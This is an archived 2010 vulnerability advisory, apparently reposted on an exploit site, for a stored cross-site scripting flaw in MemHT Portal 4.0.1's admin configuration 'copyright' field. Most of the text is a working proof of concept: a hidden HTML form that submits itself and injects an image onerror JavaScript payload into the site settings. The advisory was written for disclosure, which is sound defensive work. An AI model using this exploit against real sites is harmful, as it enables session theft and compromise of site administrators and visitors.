[webapps / 0day] - MemHT Portal 4.0.1 Stored Cross Site Scri

Posted on 02 November 2010
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MemHT Portal 4.0.1 Stored Cross Site Scripting Vulnerability
============================================================

Product: MemHT Portal
Vendor: Miltenovik Manojlo ( http://www.memht.com/ )
Vulnerable Version: 4.0.1 and probably prior versions
Vendor Notification: 19 October 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking &amp; Penetration Testing (http://www.htbridge.ch/)
 
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
 
The vulnerability exists due to failure in the &quot;admin/pages/configuration/index.php&quot; script to properly sanitize user-supplied input in &quot;copyright&quot; variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
 
An attacker can use browser to exploit this vulnerability. The following PoC is available:
 
&lt;form action=&quot;http://host/admin.php?page=configuration&amp;op=siteConfig&amp;ok=true&quot; method=&quot;post&quot; name=&quot;main&quot;&gt;
 
&lt;input type=&quot;hidden&quot; name=&quot;nome_sito&quot; value=&quot;sitename&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;site_url&quot; value=&quot;http://host&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;webmaster_mail&quot; value=&quot;email@host.com&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;site_open&quot; value=&quot;1&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;offlinemsg&quot; value=&quot;&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;defpage&quot; value=&quot;news&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;timestamp&quot; value=&quot;%d/%m/%Y %H:%i&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;timezone&quot; value=&quot;0&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;admin_ghosts&quot; value=&quot;1&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;infobar&quot; value=&quot;0&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;graphic_check&quot; value=&quot;1&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;textarea_editor&quot; value=&quot;1&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;modrewrite&quot; value=&quot;0&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;footmsg&quot; value=&quot;&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;copyright&quot; value=&quot;copyright&lt;img src=x onerror=alert(12345)&gt;&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;descrizione&quot; value=&quot;&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;metatags&quot; value=&quot;&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;user_max_lunghezza&quot; value=&quot;20&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;pass_max_lunghezza&quot; value=&quot;20&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;user_confirm_email&quot; value=&quot;1&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;approve_users&quot; value=&quot;0&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;num_news_home&quot; value=&quot;5&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;num_news_page&quot; value=&quot;20&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;guest_msgbox&quot; value=&quot;0&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;forumattachment&quot; value=&quot;0&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;forumattachmentfolder&quot; value=&quot;attachment&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;virtualpages&quot; value=&quot;1&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;usecomments&quot; value=&quot;1&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;guest_com&quot; value=&quot;0&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;Submit&quot; value=&quot;Save&quot;&gt;
&lt;/form&gt;
&lt;script&gt;
document.main.submit();
&lt;/script&gt;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-11-02]</pre></body></html>
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